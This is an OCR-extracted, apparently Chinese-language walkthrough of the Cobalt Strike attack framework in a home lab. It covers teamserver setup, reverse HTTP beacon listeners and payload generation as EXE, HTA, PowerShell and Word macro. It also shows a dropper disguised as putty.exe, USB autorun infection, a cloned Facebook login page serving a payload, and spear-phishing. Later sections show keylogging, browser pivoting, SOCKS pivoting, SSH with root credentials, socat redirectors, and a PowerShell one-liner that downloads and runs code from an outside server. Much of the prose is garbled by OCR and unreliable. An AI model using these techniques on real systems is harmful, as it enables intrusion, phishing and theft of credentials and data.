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kali Sz ip:192.168.1.144
ubuntu 16.04 HOAMFvps ip:53.3.3.6
win2008R2 HArHL# ip:192.168.1.191
centos6.9 [SERIApL ip:192.168.1.199
win7cn BRI ip:192.168.1.123

0x03 FoRPRIEFRLL cs REAHI—LEARREFAE:

ZBAIRSS 88 [teamserver]
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T34k , B IS5 S B A s AT AE Linux - & b A UGE R B 9 1 BA IR 55 4% 2248 Jyubuntu 16.04]

# ./teamserver HIM\RE#Ap A — NI R 75 BRG] YN BIHX PN EFSG F BEEAK] B E X AF[ — AL BV R]] [YYYY-MM-DD]

# ./teamserver 53.3.3.6 klion



./ teamserver

ike# [*] Will u g - :
n of Cobalt S5tr have 65534 c left of . Run the Upd

The lice

restrictions.
1

) il-bit/ [This is a trial version limitation
[This is a trial version limitation]

535667515024205bb

[This is a trial version limitation]

Z s [cobaltstrike]
N T EFIRARER, Ao IR A RNE PR SRR —aEIRSS:SF, B, SSEAMMIETEFin=ilSEH=
BA2%, BEFinEIAESRMIS AR ip, mOF0Z8, AFEuER

# ./cobaltstrike

: /home/cobaltstrike v3.6/cobaltstrike#
a trial wversi af | -

these restrictions. 1 http:,
s is a trial wversion limitation]
|

Connect

New Profile This is the connect dialog. You should use it to connect

127.0.0.1 to a Cobalt Strike (Aggressor) team server.
1592.168.3.6

192.168.3.15 Host: JB
182.178.3.144

Port: 150050

User: klion|

Password: |k

|—cannaet—! [—Healn_]



®E BEIB—a kali s LTS PREMEREIE—HRARS 28, RESLIMATHERIT, ERRATLIEE event fHEAE, th
il event ;EMEZIFIAFRIE MR AR EET T4, IFEFAEN.

# ./cobaltstrike

: /home/cobaltstrike v3.6/cobaltstrike#

a trial version of Cobalt Strike. You ha
Run the ;
This tri]

limitation]

Connect

New Profile This is the connect dialog. You should use it to connect

127.0.0.1 to a Cobalt Strike (Aggressor) team server.

192.168.1.144

Host: 3

Port: 150050

User: Ixlion

Password: |;t+:+:+:+:+1

[ Connect H Help l
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Cobalt Strike Wiew Attacks Reporting Help
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Event Log X

09/26 06:50:13 klion

09/26 06:51:49 xLlion

09/26 06:52:20 <klion= hello xlion

EF cs BURFhIRITES
Hosiz ) WS i 2 O AR 187 5., =22 N 7 HisZ pay load R4 ) 25 25803
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£ cs PRYLSITESBE TN, —FF2 beacon, 5—F2 foreign
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-> ikrfListeners

-> A AL 2 E Bk T 4% 1 EAE

-> WELFE Hip [ LB iRiF 4 GEdnskEiE) 1Hipayload2S BRI 84, 2 J5 , HIBAIRSS 4 & — B I T i 1 45 ffbeacon shel1[n]3% ()4
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Cobalt Strikelyiew Attacks Reporting Help

Mew Connection $|E$,E'@iag'é’"!ﬁ
Preferences
\isualization b
VPN Interfaces
Listeners

Script Manager

Close

Event Log X | Listeners X

name

payload host

New Listener o ® O

Create a listener.

MName: [demn_listener ]

Payload: Jwindows/beacon_httpjreverse_http = I

Host: 3 ]

Port: 80| |

Save

port



[ Add H Edit H Remove H Restart H Help l

F i

Event Log X | Listeners X

name payload host port

Input [ ] ‘

This beacon uses HTTP to check for taskings. Please provide the
domains to use for beaconing. The A record for these domains
must point to your Cobalt Strike system. An IP address is QK.

Separate each host or domain with a comma.

4

| (0]'e || Cance||

[ Add H Edit ” Remove H Restart H Help l

ireinles, &5, BlIBFiR payload [BdE]

UL A LH S R MRS T3S, 2 H brfilk payload L5, 2 H 8 2: F #ishellcode [ H 55k /it beacon shellffRAD 1 2] B AR R G217, )5 B[] B Ax & i ffibeacon
shell,

F T {tbeacon shelliAT HI4F L HRALIETT RIME 5K, il Uiz i 2 14 3 e DU 4 (OIS 18] B Bl 2 F i 308 A AR S5 AKIE H s R ST T

BI5t, FATRERLEN payload, AEEFEEEERRIBHRREFTHIT, BEELMFHN LEMRIREM AT, T8 XBEFL
MFHIRELZERFERERSNRAY, iRMFRIERERR R GRS AR LB ERY

Cobalt Strike (Trial)

Cobalt Strike Wiew Attacks Reporting Help

B8 ) B =R L application a B
Web Drive-by * | M35 Office Macro
Spear Phish Payload Generator

LUSB/CD AutoPlay

L e T aTal




LANIRLTEEL L= UPPEI

Windows Executable

windows Executable (S)

Windows Executable @ &

This dialog generates a Windows executable. Use -
Cobalt Strike Arsenal scripts (Help -= Arsenal) to

-

Listener: [demo_listener - H Add l
Output: [Windaws EXE - l
x64: [ Use x54 payload

[ Generate H Help ]

Save [}

Sawve In: ||°_| Desktop B | O & O
[} putty.exe
File Name: [drapper.exe ]
Files of Type: [AII Files - l

Save H Cancel l




Cobalt Strike wiew Attacks Reporting Help

OE O EH=¢8LLU B /e B G
e
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scan *
OPT @ 9436

118,184, 29. 196 ' -
o

scan
OPT @ 8588

0x04 FERIZ iRkl

B5% =AM ‘System Profiler’ &R, I2EHRIRKN=RHMESE, tbal, BirRrIHAMRTRIRIERSE, HANKEES, HFERA
2%, BigEs flash flash BIRRANE S BRIRARTLUES], BREAFEERIBIRAN ip B, NB NG FEISRMESX,
BT XEEMER LG, BRI LEIMNEELE, EEBOIE, SEhRP&FAES, FEAXERLIORIATEZAR ip,

\\\\\

DEDE...... FEHEAKERIIE FSLPRAYRER

System Profiler e ® O

The system profiler is a client-side reconaissance tool. =
It finds common applications (with version numbers)

-

Local URI: _[fua

Local Host: i

Local Port: |80

Redirect URL: _[http:mww.jd.com

FI Use Java Applet to get infnrmaticné

I Launch H Help l



Success G @ B.

Started service: system profiler
Copy and paste this URL to access it

’|:SDfDa

P

Packages

address = eb D
| Spear Phish

2 SeBRD e B

Manage

Clone site

B8 172.15.110.3

B 1952.168.1.117 W

B8 192.188.1.191

Host File

Scripted Web Delivery
Signed Applet Attack
Smart Applet Attack

Cobalt Strike (Trial)

| note

lSystem Profiler |

- -

Event Log X | Listeners X | WebLog X | Applications X |

ext internal application varsion note
KA 28 unknown Windows 7 *54
ot} 128 unknown Chrome *64 61.0.3163.100
a7} 128 unknown Chrome *&4 61.0,3163.100
a7} 128 unknown Windows 7 *54
KA 128 unknown Windows 7 *54
KA 128 unknown Internet Explorer 11.0
ﬂ 128 unknown |Script 11.0.17840
n 128 192.168.1.112 Firefox *54 55.0
ﬂ 128 192.168.1.112 Windows 7 *54

TR hta payload' Ec&' MHTE RRABRAKESIMIGIEE B I — hta BY payload, iXERT payload EiFR
S =R HATIET, exe,powershell 71 vba(7R), SEFRhEHEEF powershell, BIIFERIRE, IFEHMAZRT, BR, RiE...



http://53.3.3.6:80/download/plugins.hta

Cobalt Strike (Trial)

Cobalt Strike Wiew ﬂttacka'ﬂepar’cing Help

+0 - IR RN- :B=| Packages ' EML Application | || L
Web Drive-by * | Ms Office Macro
Spear Phish Payload Generator
USB/CD AutoPlay
Windows Dropper

Windows Executable

windows Executable (5)

HTML Application Attack @ @ @

This package generates an HTML application that runs a

payload.
Listener: [http-shell - H Add l
Method: E-PDWEFShE” -

[ Generate H Help l




Save [ ]
Save In: II’_l Desktop v l i 6B O
File Mame: [pluqins.hta ]
Files of Type: [AII Files - l
I Save I [ Cancel l

Cobalt Strike Wiew Attacks Reporting Help \

O O E=¢ BILLU SwBD sa B

Host File e ® O
Host a file through Cobalt Strike's web server
File: [frnnt;Desktnpfplugins.hta ] | v

Local URI: [Idnwnlaadfplugins.hta

Local Host:

Local Port: _[BD

Mime Type: Eautnmatic

[ Launch H Help l




Success @ ® ©

Started service: host file
Copy and paste this URL to access it

" oidownloadjplugins hia
Ok

’ ssl — Windows lnternet EX
gé h /download/plugins. hta

AUER OEEER. ..

x# T4 - 5o T
R TR AT AN

i 2ZE5: plugins. hta
A HINL FFRHFERE, 6. 1TEE

FE:

nternet E’Iﬁ:}z

® A

Cobalt Strike Wiew Attacks Reporting Help
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OPT @ 6148

118.184.29. 196




HRETESSESHY shellcode, U0, ¢,c# java,python,powershell,ruby,raw, 554b, cs BIRME TR EEFELS veil —SfEFIRYIEIR,

XEBIRRIARSERARY powershell 79/, EREFLAG, BINABHARNZIBIRR S, XEMEEAEBR cnd hENT, SEFRPYR
A LB MRS SRR H AR MENEAIRERAT ps RIS

# powershell -exec bypass -Command "& {Import-Module 'C:\payload.psi'}"

Payload Generator e @ @1

This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available.

Listener: [http-shell vl Add

Qutput: EPuwerSheII vl

x64: [1Use x64 payload

[ Generate ” Help l

Save o
Save In: II’_l Desktop hi l 8O
File MName: payload.psl l
Files of Type: |All Files - l

| save | [ cancel |




Cobalt Strike (Trial)

Cobalt Strike View Attacks Reporting Help

DR O EH=¢ B8 LPU EwBEL0 /e B

AW e

Event Log X | Listeners X | WebLog X | Applications X | Sites x | Beacon 192.168.1.191@3992 X

beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 14 bytes

[+] received output

=R A office REEA, HAESFEZXMER, EHA office MARTBRAZN, Ad, JUSRE ST A—LE &R HRAELLE
#r office Oday 3£, iT=EITE CH office —EBZRALIFSINZ, JE(S(E vba

Macro Instructions @ G O

Follow these steps to add this Macro to a Microsoft Word or Excel docurment:

. Open Microsoft Word or Excel

. Go to View ->= Macros -> View Macros

. Change Macros in to the current file

. Give your macro a name (any name is 0OK)

. Click Create

. Clear the editor

. Press Copy Macro to copy the macro to your clipboard.
. Paste the macro

. Close the macro editor window

. Save the document as a macro-enabled document

L B+ I w AN R o S I B R U Y O T

[

Copy Macro




E sd.docx - Word

X THA BA Rt R mp  EHiY Q SRBAFEEMA

rj D [E15# ) L#R 5 HER cFsmesl] Co)
©  Hem VL <5 Omims I E Py .

PE PAERRE Web RTUIIE %3 = ksl 100% - MgE0 | =
o 1= [l = USPEE BRE Dirs aladl
= Immer... AEEH B nanndll] &N [ =220
] SEER..
=E(M):
vba_shell| EFT(R) |
ESEEIT(S)
8IEO
k(D)
BE=(G)
FIUEW): | FrEAETHERATR -
1RERD:
1CTros0It ¥ g
L xeE %£2E AEO H#A0 #X0 #®FED BBFQR I&£D 48E2FQ FoW FEE
ME-d B9 b @ M HEE (@47 01, B 1 B
C#&E - Normal x|[ @m v Workbook_Open
H Priwvate Type PROCESS_TNFORMATION
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DOmeeneme | SR
i Hewlacros
-8 Project (Shell) Priv:teAZyEEnSgTARTUPINTD

lpReserved As String
lpDesktop A= String
1pTitle As String

dwil Az Long

dwl A= Long

dwSize Az Long
dwYSize Az Long
dwCountChars As Long
R S




uNlLUML LS RE LUl
dwFillAttribute As Long
dwFlags A=z Long
wShowfindew Az Integer
cbReserved? Az Integer
lpReserved? Az Long
hStdlnput Az Long
hStdlutput Az Long
hStdError As Long

ol e r End Trpe

FEF L
S =EENERE sne
ZEEHE sEias | HEREAD
- ” =ERESE , HEHEAD)
SIS T B EE(G)
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META @ 7936

shell.docx - Word
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SREIERH exe SR payload, TN, HISBTELUGH) exe EHRATAESAEES, IRRIIASEIBEEN putty.exe BIEIRATIHE,
REBBILT, MFNETRE, ZERRERHAAKT, W FERLIBHEES), BERIRRFHITIIS, 18 payload t
—FFHHUT T [ESE payload R5EHATH]]

Windows Dropper EXE e ® O

This package creates a Windows document dropper. This package
drops a document to disk, opens it, and executes a payload.

Listener: [http-shell - l Add

Embedded File: [frnothesktDpfputty.exe l T3
File Name: ishell.exe] |
[ Generate ” Help l
Save (]

Save In: ||°_| Desktop - | 0 a2 O
[} putty.exe
File Name: [drapper.exe l
Files of Type: [AII Files - l

[ Save H Cancel ]




127.0.9.1:49171 : 3.0 ESTABLISHED 2204
127.8.8.1:49172 : 3.0 ESTABLISHED 2204
127.0.9.1:49260 : 3.0 ESTABLISHED 628
127.60.0.1:49261 : 3.0 ESTABLISHED 628
192.168.1.181:139 7.0.0.0:0 LISTENING
192.168.1.181:49484 T 188:22 TIME_WAIT
192.168.1.181:49486 : 80 CLOSE_WAIT
192.168.1.190:139 1.0.68.0:0 LISTENING
192.165.1.191:139 ).0.0.0:0 LISTENING

Cobalt Strike (Trial)
Cobalt Strike wiew Attacks Reporting Help

HH'O'EE$'E$PE'¢EE-&’1-EHF




113.235.113.128

WINZOOBRZ @ 2544

ERESRY usb Biz{T payload, {REZERM— payload[XMAILIEREA cs £pk, AMIARR, RIFERRAIRE CAEFIS
i8] B, B73i, X xp ZBIRIRFRFE, win7 LUSHIRFEERNERE T, SERMHAK, FRAXEHHAFRR T

USB/CD AutoPlay o ® 0

This package generates an autorun.inf that abuses the -
AutoPlay feature on Windows. Use this package to infect -

Media Label: personal Photos

AutoPlay Action: fOpen folder to view files

AutoPlay Icon: [%systemmut%ksystemB215he||32.d||,4 ]
Executable: | frootjDesktopjautoplay.exe | r

[ Launch H Help l

ETEMFEMAY exe payload BRER T, f8E FEERIB Ml L, RS e HRIERENEFRE—T, BEARIATHRIT
NHEINEERRI BN LHRITT, IEERR, XERAZBIRT

r

Windows Executable & & ©

This dialog generates a Windows executable. Use -
Cobalt Strike Arsenal scripts (Help -= Arsenal) to

-

Listener: Ihttp-shell - H Add l
Output: lWindnws EXE - l
RGLE [l Use x64 payload

[ Generate H Help l

payload, IXEfY payload BHJLAE#EF msf 4 hk, tBRTLAMGEX R hta, 23780, SCRRAPIXAS payload SEZEOLIETH, s
RKZAZ BEASER BEIMUELREERIFA html SEEI url LA BNEEE



Success @ ®

Started service: cloned site
Copy and paste this URL to access it

80/loginj

Clone Site e ® O

The site cloner copies a website and fixes the code so -
images load. You may add exploits to cloned sites or

Clone URL: [https:mwuw.facebook.comf l
Local LRI I,.flngin l
Local Host. 5 l

l

Local Port: IBD

Attack: ! plugins.hta u

[1Log keystrokes on cloned site

Clone Help

bl

Intetnet Ex

23T plugins.hta iTHAdg{E?

o 6170
S

> HH(O)
L REmEETH.

2> 59
> BEFAN



Cobalt Strike Wiew Attacks Reporting Help

OB O EH=¢ 8XLLU GwBEH s B G

¥ _ -~
Fa T
‘ﬁ%ﬁ* -
s _j b

Tre oA a0 10 klion
118. 184. 29, 196 META @ 4168

'PowerShell Web Delivery’ BIgEtBRASRFATANGZHINEEERIR T, HIL, BRHAEST msf i web_delivery 1&=1R, S4R%
—F& shellcode A58, AERRMLER—DTEES, XIFHFHMAITLUEXAN TS BENET8EZ1T powershell BREIER _EMAYHETT,
tbgn, BRI chm, HREESR. ..., BARESR, BMEEEZIBRARN cmd FHiTT

Scripted Web Delivery o0

This attack hosts an artifact that delivers a Cobalt Strike -
payload. The provided one-liner will allow you to quickly get

-

URI Path:  |/site |

Local Hos. 5 |

Local Port: [SCI ]

Listener: [http-shell v” Add l

Type: [powershell - l

[ Launch H Help l

Success @ @ 91

Started service: Scripted Web Delivery
Copy and paste this URL to access it

fnloadstringlhtte__ sojsite)
Ok




c+.| Administrator: C:\Windows\system32\cmd.exe

C:\>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring( 'http:/, 3:80/site’))"

Cobalt Strike (Trial)
Cobalt Strike Wiew Attacks Reporting Help

OB (HEH=¢ B8 LPLU B e B

o e
il agh

Administrator *
WINZOOBRZ @ 2268

113,235,113, 128

REAREME, SeiBRrARIBRRFAEREI— G [EE BITUN—], AEBEENESARIIGERENMT: [EEEERY
html BN F5HK], SEIRICELR T, EELRR, RSB ET ARAIEIMFIIAHERM RS, XEAFRER
protonmail BRFERRSSZFFRARY, BFREZIELIRENIIENREERFFENL IMAP,POP3,SMTP, I, XEwScAED 1, IF
wEE, SLRABRAEALIAASE. ... BN LRFARRFRFHEEHNSIHTEREERA [RERENHEMAGESE DK
NEEREIRERFEET LA, XREZE...... 1, BERIGEE T, iT...... AREHREEHT

[ Spear Phish e @ 61
To To_Mame

kliong zom klion

Targets: [,frc:uthesktapftarget_mail.txt H r l
Template: [;rnnthesktnpftmp.txt H C3 ]
Attachment: [frnuthesktnpfshell.exe H Ca ]
Embed URL: ydownload/plugins hta?id=%TOKEN% | [ ... |
Mail Sen @smtp.gmail.com ] |‘ﬁ|
Bounce To: [shellter@gmail.cum ]

Preview l [ Send l [ Help l




Mail Server e ® O

SMTP Host:  |smitp.126.com
SMTP Port: |25
Password:

Random Delay: [D

l
l
Username: Dgg.com l
|
|
l

Connection: IPIain -

Set

wH java I, BhRARS), MEZEDIES, sSLhRSET, HSRmXEEAHEZBA T, FIXEMAERR T

0x05 &@id_EmixXLs 7%, HBEHHRELIBEIT— beacon HY shell, FTEFEAIFEiFHMHHAAT beacon shell HEER
EF [EBEMER], SBRIERII2ZINE—NEIZHE bypass 8 uac ZHIHY EHER HPRAY beacon shell, LA SHTREERI—
LR AERE, ZEHCHIA—T cs WP XASTIHFHAY, MRBIREPXES, GiliBEs el



help i beacon shellfiH N E & Eh, WIRBE SR € A M HE, TLLXAE, eg: help checkin

note 252 RT H ML 4T, eg: note beacon-shell

cd EH RGP U B 3%, S Ewin RG D)4 B B URHT, 88 B /" eg: cd c:\\

mkdir B Hs%, eg: mkdir d:\\beacon

rm MBR B H 3%, eg: rm d:\\beacon

upload AR H AR R G

download MHEFR RS F#iE2 I, eg: download C:\\Users\\win7cn\\Desktop\\putty.exe

cancel BUH AL SS, e, — SO RO, R 3R] BE AR RERS , R TR R AR GRS T, AT U R AN — 1
shell fEHM RGP HATIEE M cmd @4, eg: shell whoami

getuid & Hhlbeacon £IKTEHIR RS A LR, AT BERR 2bypassuacal# 2L

pwd HE LHITE H R RGP gL

1s F s 20 H T BT SO E ¢

drives I HER RGEPTA 73 X [win Iy 7 ]

ps H Hbr R G LA A R 3%

kill AP E R, eg: kill 4653

sleep 10 TR € etz R IR 1], BRIN6OFD— K EIf% , ik #m A 1080 R N a— AL LS, SEbr e AN el R, 2 5 ORI, 8076 47— IR RITR]
jobs S PTAT RSS9 3, A S AT 55 4R AT IR [8) P BEAM UL , LI 3t T LA MAT 25 5112 vh 2 B xS (1) BB S5 4d , BT XM i BR
jobkill WA IAE 55 AN 2 Ao R DR N (8] A AT B e, TSl L Am & B SE RZ 455, eg: jobkill 1345
clear T kkbeacon W HEHIAE 55 BA S

checkin SRR Al L A 4 o [ 3 — YK

exit Z 11 MHibeacon X1

ctrl + k bt

0x06 EEBFlas CAISRER [BEHURESMARR api SERHIFRE, BINEEIEN, HizinrIsEREHFEREA R TR
B S A TTERIHTS]:



16 HbR R4 E WAL S, eg: keylogger 1796 x86

Cobalt Strike (Trial)
Cobalt Strike Wiew Attacks Reporting Help

HHlﬂlEE$IE&.ﬁE'@iEEI-é’d-!ﬁ

PENTESTER7CN @ 1760
demo-win7

user computer pid when ‘
win7ecn PEMTESTER7CMN 1780 09/25 23:48:09 '

cmd . exe
net user

md.exe - net user

ipconfgi

Mozilla Firefox
baidu.com

i - Mozilla Firefox

baidu.com

ZREERRGTBRE, TRSERERAZAAFRHEN RIl,eg: screenshot 1796 x86 10 A 108>



Cobalt Strike (Trial) (O]

Cobalt Strike Wiew Attacks Reporting Help

O N E=¢ B LPLUGwBEEN e B

demo-win7

user computer pid when ‘
win7cn PENTESTER7CMN 1760 09/25 23:50:48 '

M Post data ME rer X «& %URL 3 <& BASEsd @

&G
Bai'@'ﬁl’%

U web{RER , 55 % B bR L REHCR 208 5 HO3 1L, SR BRI OA 20 1900, S 24 T8 30 0o 0 7
A, A L5 T 5 B T T 3 2, 3 0 40 QS LA S B 0 L 5 T 5 O3 4, JRAE R A, B KRS 2 AR
BT BB UM TERF, T FLEAVESE , BRI — 400 i dump PR 10 J5 R, dumpl5) ] A 22365 H Bl 98

AEAAVX N EFE R ARF L, REDIRE H AT [ X TR, KEME] | IEARR 5%, EBRTC IR A Bl T

browserpivot 1460 x86

browserpivot stop

conhost.exe x86 pentester7cn\win7cn

audiodg.exe




pentesterZcn\win7cn

WmiPrvSE.exe
cmd . exe

beacon> browserpivot 2592 x86
[*] Injecting browser pivot DLL ir*-
[+] Browser Pivot HTTP proxy is «
[+] started port forward on 39424 to 1zs.v.v.1:39424

[+] host called home, sent: 73760 bytes
[PENTESTER7CN] win7cn/1760
 beacop> |

el
=T
=\
O
.

Y B A U4 A 1R 2 (S)

HTTP 1.

youku. com v |4+ | x | 5 Bing
% (F) HEE FEN) HEEXW ITED FHWH
*WELE GFEBRER
=y N
YOUKU lfl MRS A O, smEesEEs
RE ORRE ME BER XM @B BE RE BSv

BIE 8% S5 R L FR HE RE &N £ afF #E

* ¢

& REBEER
€ OF & youku. com
"N 1 =~ —
YOUKU \f"' o = o~ O, sEEsEEE
BE mE £E 55 0L wR OEE FE SN G% 4% 08 S5 NE Ve 55 U 98 BE R 55

=, [REEE R

=,

EHRZBEERER, 3L, NREREHAZE, Hl TG AEX AT

Mccache Cff 3 N2 4

kerberos_ccache_use

kerberos_ticket purge i5F4HTshel 12



kerberos_ticket_use MticketSCHH SN

0x07 Bt & powershell S BHEZESRIEE cs AYSCAAMYE, 40, nishang,empire,PowerSploit,powerup,Sherlock...... £E0Y, $21%,
bypassuac,dll JEN, 3 hash,pth...... EBE—E—HIFE BIEREIBEHIA L, XFF3 powershell IEZRRIEIRAEE, X
FEEEXNE, XEHA—ER T, FERIR— AL 228, beacon shell BEMRH T RUAITHEE, REFKIRAIN, B3LfrF
I algeimiE A g, MBEBSNITETIEIANRIEREL, FTLAFEFARCERRE win IMEES, RaJge£EA
powershell 315

F—HM\, 7£ beacon shell FENIMEB ps HIAZITiEEE L

powershell-import /root/Desktop/Get-Information.psl

powershell Get-Information

beacon=> powershell-import froot/Desktop/Get-Information.psl
[*] Tasked beacon to import: froot/Desktop/Get-Information.psl
[+] host called home, sent: 1672 bytes

beacon> powershell Get-Information

[*] Tasked beacon to run: Get-Information

[+] host called home, sent: 23 bytes

[+] received output

#< CLIXML

Logged in users:

C:\Windows\system32\config\systemprofile
C:\Windows\ServiceProfiles\LocalService
C:\Windows\ServiceProfiles\NetworkService
C:\Users\win7cn

Powershell environment:
Install
PID

Putty trusted hosts:
1'92 ] lflE: ' l‘; ] ]_E:
34:127.0.0.1

Putty saved sessions:

F_H, & beacon shell FE#EHHIT powershell {t#3

powerpick Get-Host



beacon> powerpick Get-Host

[*] Tasked beacon to run: Get-Host

[+] host called home, sent: 127049 bytes
[+] received output:

Name : ConsoleHost

Version

Instanceld : 13880252-aa67-46¢8-9253-c6bfco46d5ce

U1 : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture t zh-CN

CurrentUICulture : zh-CN

PrivateData

IsRunspacePushed :

Runspace

0x08 FF cs RiEEFEBIRRX

XJ Bl =T ERI AN TE IR O3, 18 ip B, ISR TN [ER3TEF arp,icmp,tepl, IEELAE [VICSEFRFPAE
FHIKE]

portscan 192.168.1.0/24 1-6000 arp 10

beacon> portscan 192.168.1.0/24 1-6000 arp 10

[*] Tasked beacon to scan ports 1-6000 on 192,168.1.0/24
[+] host called home, sent: 75325 bytes

[+]1 received output:

(ARP) Target '192.168.1.1' is alive. 30-B4-9E-4C-41-E4

[+]1 received output:

(ARP) Target '192.168.1.104"' is alive. 70-8B-CD-4D-69-4D

(ARP) Target '192.168.1.101"' is alive. 70-8B-CD-4D-68-DC

(ARP) Target '192.168.1.112' is alive. 70-4D-7B-B7-D5-47

(ARP) Target '192.168.1,102"' is alive. BC-3A-EA-CF-93-9C

(ARP) Target '192.168.1.111"' is alive. 70-4D-7B-B7-D5-49

(ARP) Target '192,168.1.119' is alive. (ARP) Target '192.168.1.115' is alive. 1C(ARP) Target '192.168.1.117' is alive
70-00-1B-4D-0C-0D-7B-29-90-B7-C9-E3-D5-D771-- (ARP) Target '192,168.1.114' is alive.

DOOBT0O

-4D-7B-B7-D5-DC

[+] received output:
(ARP) Target '192.168.1.123' is alive. 00-0C-29-54-61-4A
(ARP) Target '192.168.1.126"' is alive. (ARP) Target '192,168.1.128' is alive. 0070--0C8B--29-CD0O8--4D-68-E7




becon shell BRI KINAE, BANMIEAHOHEIAREE PFEEN SRR L, STIRBRREREEL NS, T
EUZHYT.... BT

rportfwd 389 192.168.1.181 3389

rportfwd stop 389

beacon> rportfwd 389 192,168,1.181 3380
[+] started reverse port forward o B9 to 192.168.1.18!

[*] Tasked beacon to forward port 389 to 192,168.1.181
[+] host called home, sent: 44 bytes

| | Tt Ll — Wy

L RESEEE e
FETEEIEE:
1?} 192, 185. 1. 123; 389
[ | E:E
EFHAEETmiEEE.
= EfE () ZERR (H) “

ik cs #1 msf {BEREXEER, B8 EFE socksda I, SEH—LHIRKEZE
M, FIASM socks REEFimEECSRSETLREGHBERRN

beacon>socks 1234

beacon> socks 1234
[+]1 started SOCKS4a server on: 1234

[+] host called home, sent: 16 bytes

# vi /etc/proxychains.conf



socks4 53.3.3.6 1234

# socks stop

HHM, EEFRREERIEREN msf migt Bk

setg Proxies socks4:53.3.3.6:1234

user computer pid type port fhost
win7cn * PEMTESTERYCHM 2064 SOCKS4da Proxy 1234

Tunnel via SOCKS e ® 0

Use this command in the Metasploit Framework to tunnel
exploits and auxiliary modules through this Beacon.
Use unsetg Proxies to stop tunneling through Beacon.

lsetg Proxies socks4 11234

o

I Stop H Tunnel H Help l




FIFH beacon shell &2/ EAY linux F1288

ssh 192.168.1.199:22 root admin



Cobalt Strike (Trial)
Cobalt Strike VWiew Attacks Reporting Help

ﬂﬂ'ﬂ'ﬁE%lﬂﬁﬁE'@iEE'é’l'!ﬁ

root *
OPT @ 9436 sry

scan root *
OPT @ 8588 sSrv

- "

Ewvent Log X | Listeners X | Sites X | Beacon 172.16.1102@9436 X

beacon> ssh 192.168.1.199 root admin
[#] Tasked beacon to SSH to 192,168.1.199:22 as root

[+] host called home, sent: 849512 bytes
[+] established link to child session: 192.168.1.199

B beacon FHEBRRE— meterpreter B9 shell[E vps EehEE, BiESEIT beacon BFEITR], RiZREER, Bk, TR
RSS2 HiumOFE A&, AR CIE— MNIMNEREIFES, im[F0 ip 5 beacon shell A9H28FRTERY ip, SARTEXIRZAY beacon shell
b’ spawn’ EFRRIRICIZEIFAIIMNDEITES, ERHAE LRSS RIFAIMA, SEEIhT

ZEF IR msf 38[E]— beacon shell WEEMEZ T, RERANGIEMEEZEHIT T beacon By payload BMEEFATLLT,
YEEET, 5F...... GEAE4 ERE

0x09 Ec & EMlim 4 & R A ek B CRIZIRAARSS =5

A D T IRIEALIT , BT L N ARSI 2, 5] GE 2 78 P A — LEBAROR IS AT e FRURHAT T S IR I B AR 55 2 1 B, 76 A 50V , FLSRqR g £

Yt AU i 1 A [ A4 ELE [ ], 28R, I o K e R AE H CEA ARG B [ 18 B 44 R B 2



ARRARSEAEANTAC L , T DA R R N2 22 AN ARG I, 8028 0 e [ tRie 2 I L2 BEAR ], DARESRIAR R0 T7 , Ko = I e E , T He—

AL H AR I R BB LE LB R B IR B AW, A REA LAS B AR EL 07 17, (HBA 162 AL & AN RE LU as B e 1% E2k

ROPE N BIBA TS LB R, ET R4 TRARBARRE 2 1, A, R R E kL R 50 W THKSE, LA, netsh, iptables, socatZ ifi...

KRR, URGF, oty A~

N socat R fiT B R T A0 TSR] RERREL 1E A DA R 55 4% , % T P T AL 4% 2t e — B RERTEBE, K KAT E AT R

B5%, B kali A cs ZRmEEFAINVEARSS R, Bl — 1 IER 80 in[RYmIfss, XERIEIZE ip EITERZMA vps FMERYESE

P[RR RERER, REE] AT

FO

Event Log X

Listeners X |

name

payload =

Mew Listener

Create a listener,

(— O )

Mame: [http-shell

|

Payload: [windnws,rbeacnn_http!reve rse_http

-]

Host: a

|

Port: |80

Save

host port

[ Add H Edit H Rermove H Restart ” Help l




-

Event Log X | Listeners X

narme payload = host port

Input [ ]
This beacon uses HTTP to check for taskings. Please provide the
domains to use for beaconing. The A record for these domains
rmust point to your Cobalt Strike system. An IP address is OK.
Separate each host or domain with a comma.

b

| (o] || Cancel |

[ Add H Edit H Remove H Restart H Help l

A, M LA ssh RIS EA socat FHAMEL A T, TEIXTIERNEEMEIEHEKEINTRY 80 in[ EAUREREZIZAM vps A 80 ik
Ok, ZfEREALRY 80 inO2—BEATHRIPIRES, RE 80 inA—ERELEHMEBERE vps BY 80 ixM, M vps AY 80 in
AN IEF R RIrasm O, XEE, BEIRERT

# socat tcp-listen:80,reuseaddr,fork tcp:53.3.3.6:80 &

stat —tulnp

ctions

) ! !

]

) .0 U0.02
) - -

: "
il

— m  owm




W

1-\| 1-\| 1-\| 1-\| 1-\| 1-\| . L 1-\| 1-\| 1-\| 1-\| .
W W oe W e W e W o oe W e W e W o

0 O 0.0.0.0¢=F O.0.0.,0-=*
) 0 0.0.0.0-: J.U.0.0:

[root@srv ~]# I

ILERT, E& cs ZFimRMEELIZE—" powershell payload, jF&, IEANEA JRIEAT, IXREN powershell T8, FERF FEHE
IERY shellcode {8, —EEICEIERMERY ip EXURRISH ip[EAFRXBEEMINAS, FTLAF 21N ip, LfRPFEEET
K ip EEER], EARIIREZNBENRED RS AZIRIIEENEMNRSE L& DISRIAZIRERER/E /M

ERIXE, BUAERIAG, ERF(]E CRIARSRETRIARMER, SR —EEFAIECBNRBHIERE ip, X, S TEID
[BEEBLSNBEIRRS, MINELERGM 7L, ATUAGEEZRSARIFAIAEIIRSS 28T FEE] shellcode {143, 1
&Y, RANERSERRY T2, BT, RIE vps B EWREER Y, T IR T, IRIE.....A A

# powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http:

Scripted Web Delivery o0

This attack hosts an artifact that delivers a Cobalt Strike -
payload. The provided one-liner will allow you to quickly get

URI Path: |/a ]
Local Hos 6 ]
Local Port: [80 ]
Listener:  |http-shell - |[ Add |
Type: [pcwershell - l

[ Launch H Help l

Success @ ® ©

Started service: Scripted Web Delivery
Copy and paste this URL to access it

ownloadstring('http:

%

127.98.0.1:49171 : 0.9.1:49172 ESTABLISHED 2204
127.0.0.1:49172 : 0.8.1:49171 ESTABLISHED 2204

127.9.0.1:49260 : 0.0.1:49261 ESTABLISHED 628
127.86.8.1:49261 : 0.0.1:49260 ESTABLISHED 628




TCP 192.168.1.181:49415 192.168.1.100: 86 CLOSE_WAIT

Cobalt Strike (Trial)
